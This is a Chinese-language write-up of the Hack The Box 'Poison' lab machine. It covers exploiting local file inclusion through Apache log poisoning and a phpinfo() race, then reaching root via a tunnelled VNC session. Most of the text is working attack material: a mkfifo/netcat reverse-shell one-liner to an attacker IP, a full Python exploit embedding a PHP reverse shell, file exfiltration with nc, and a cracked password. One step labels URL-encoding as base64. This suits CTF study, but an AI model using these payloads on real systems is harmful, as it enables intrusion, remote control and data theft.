HTB Poison writeup(本地文件包含多角度shell,利用VNC 远程接管)
HTB Poison writeup
大佬请忽略!
Poison攻击要点:
★ base64解码13次
★ 日志投毒
★ phpinfolfi.py
★ vncviewer远程链接
namp
└─$ nmap -p- -sCV --min-rate 1000 10.10.10.84
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-01 20:28 CST
Warning: 10.10.10.84 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.84
Host is up (0.20s latency).
Not shown: 61651 closed tcp ports (reset), 3882 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 437.66 seconds
靶机开放ssh服务的22端口和http的80端口,服务器是FreeBSD 20161230。
HTTP



获取密码,经过13次base64编码的内容。
gobuster
└─$ gobuster dir -u http://10.10.10.84/ -t 100 -o gobuster.log --no-error -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.84/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info.php (Status: 200) [Size: 157]
/index.php (Status: 200) [Size: 289]
/browse.php (Status: 200) [Size: 321]
/phpinfo.php (Status: 200) [Size: 68143]
/ini.php (Status: 200) [Size: 20456]
Progress: 661677 / 661680 (100.00%)
===============================================================
Finished
===============================================================
shell as www
PHP本地文件包含
PHP 本地文件包含(Local File Inclusion,简称 LFI)是一种常见的 Web 漏洞,主要发生在 PHP 应用程序使用 include()、require()、include_once() 或 require_once() 等函数动态包含文件时,未对用户输入进行严格过滤,导致攻击者可操控包含本地服务器文件路径。

日志投毒
PHP 日志投毒(Log Poisoning)是一种结合日志文件与本地文件包含(LFI)漏洞的攻击技巧,主要针对 Web 服务器(如 Apache、Nginx)的访问日志(access.log)或错误日志(error.log)。攻击者通过注入恶意 PHP 代码到日志文件中,然后利用 LFI 漏洞包含该日志文件,从而实现远程代码执行(RCE)。

httpd.conf存在于/usr/local/etc/apache24/httpd.conf,获取日志存储路径,/var/log/httpd-access.log和/var/log/httpd-error.log。



请求的User-Agent信息会存到httpd-access.log日志中,修改User-Agent信息存入一句话木马。

poc id
reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.14 9000 >/tmp/f
base64编码
%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%30%30%30%20%3e%2f%74%6d%70%2f%66
exploit
└─$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.10.84] 19491
sh: can't access tty; job control turned off
$ id
uid=80(www) gid=80(www) groups=80(www)
$
LFI to RCE via phpinfo()
phpinfo()支持文件上传。
修改phpinfolfi.py:1、集成php-reverse-shell.php;2、修改文件上传和利用路径符合靶机路径;3、两处[tmp_name] =>改为[tmp_name] =>。如下
└─$ cat phpinfolfi.py
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.185'; // CHANGE THIS
$port = 9000; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
exploit
└─$ python2 phpinfolfi.py 10.129.1.254 80 50
LFI With PHPInfo()
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Getting initial offset... found [tmp_name] at 112946
Spawning worker pool (50)...
178 / 1000
Got it! Shell created in /tmp/g
Woot! \m/
Shuttin' down...
└─$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.185] from (UNKNOWN) [10.129.1.254] 39083
FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
3:36AM up 6 mins, 1 users, load averages: 0.74, 0.51, 0.26
USER TTY FROM LOGIN@ IDLE WHAT
root pts/0 :1 3:30AM 6 -cs
uid=80(www) gid=80(www) groups=80(www)
sh: can't access tty; job control turned off
$ id
uid=80(www) gid=80(www) groups=80(www)
shell as charix
Base64编码13次解密:Charix!2#4%6&8(0
└─$ cat passwd| grep sh$
root:*:0:0:Charlie &:/root:/bin/csh
charix:*:1001:1001:charix:/home/charix:/bin/csh
登录charix
└─$ ssh charix@10.10.10.84
(charix@10.10.10.84) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Welcome to FreeBSD!
...[snip]...
charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
charix@Poison:~ %
shell as root
charix home目录信息
charix@Poison:~ % ls -la
total 48
drwxr-x--- 2 charix charix 512 Mar 19 2018 .
drwxr-xr-x 3 root wheel 512 Mar 19 2018 ..
-rw-r----- 1 charix charix 1041 Mar 19 2018 .cshrc
-rw-rw---- 1 charix charix 0 Mar 19 2018 .history
-rw-r----- 1 charix charix 254 Mar 19 2018 .login
-rw-r----- 1 charix charix 163 Mar 19 2018 .login_conf
-rw-r----- 1 charix charix 379 Mar 19 2018 .mail_aliases
-rw-r----- 1 charix charix 336 Mar 19 2018 .mailrc
-rw-r----- 1 charix charix 802 Mar 19 2018 .profile
-rw-r----- 1 charix charix 281 Mar 19 2018 .rhosts
-rw-r----- 1 charix charix 849 Mar 19 2018 .shrc
-rw-r----- 1 root charix 166 Mar 19 2018 secret.zip
-rw-r----- 1 root charix 33 Mar 19 2018 user.txt
charix@Poison:~ %
secret.zip传到kali解压。
nc 10.10.16.14 9001 < secret.zip
nc -lvnp 9001 > secret.zip
解压密码使用Charix!2#4%6&8(0
└─$ file secret
secret: Non-ISO extended-ASCII text, with no line terminators
VNC
查看与root用户有关的系统进程。
charix@Poison:~ % ps -auxwww
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
...[snip]...
www 642 0.0 1.1 99172 11528 - I 07:15 0:00.00 /usr/local/sbin/httpd -DNOHTTPACCEPT
root 643 0.0 0.6 20636 6140 - Ss 07:15 0:00.01 sendmail: accepting connections (sendmail)
smmsp 646 0.0 0.6 20636 5808 - Is 07:15 0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
root 650 0.0 0.2 12592 2436 - Is 07:15 0:00.00 /usr/sbin/cron -s
root 707 0.0 0.8 85228 7776 - Is 07:19 0:00.01 sshd: charix [priv] (sshd)
charix 712 0.0 0.8 85228 7812 - S 07:20 0:00.01 sshd: charix@pts/1 (sshd)
root 529 0.0 0.9 23620 8868 v0- I 07:13 0:00.01 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
root 540 0.0 0.7 67220 7064 v0- I 07:13 0:00.01 xterm -geometry 80x24+10+10 -ls -title X Desktop
root 541 0.0 0.5 37620 5312 v0- I 07:13 0:00.00 twm
root 697 0.0 0.2 10484 2076 v0 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv0
root 698 0.0 0.2 10484 2076 v1 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv1
root 699 0.0 0.2 10484 2076 v2 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv2
root 700 0.0 0.2 10484 2076 v3 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv3
root 701 0.0 0.2 10484 2076 v4 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv4
root 702 0.0 0.2 10484 2076 v5 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv5
root 703 0.0 0.2 10484 2076 v6 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv6
root 704 0.0 0.2 10484 2076 v7 Is+ 07:15 0:00.00 /usr/libexec/getty Pc ttyv7
root 581 0.0 0.4 19660 3616 0 Is+ 07:13 0:00.00 -csh (csh)
charix 713 0.0 0.4 19660 3680 1 Ss 07:20 0:00.01 -csh (csh)
charix 727 0.0 0.3 21208 2652 1 R+ 07:30 0:00.00 ps -auxwww
charix@Poison:~ %
查看开放的端口,5801、5901是vnc服务的端口。
charix@Poison:~ % netstat -an -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 44 10.10.10.84.22 10.10.16.14.48660 ESTABLISHED
tcp4 0 0 127.0.0.1.25 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp6 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp6 0 0 *.22 *.* LISTEN
tcp4 0 0 127.0.0.1.5801 *.* LISTEN
tcp4 0 0 127.0.0.1.5901 *.* LISTEN
charix@Poison:~ %
kali开启动态端口转发
└─$ cat /etc/proxychains4.conf
# proxychains.conf VER 4.x
...[snip]...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050
└─$ ssh charix@10.10.10.84 -D 9050

└─$ proxychains vncviewer 127.0.0.1:5901 -passwd secret
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:5901 ... OK
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

更多推荐



所有评论(0)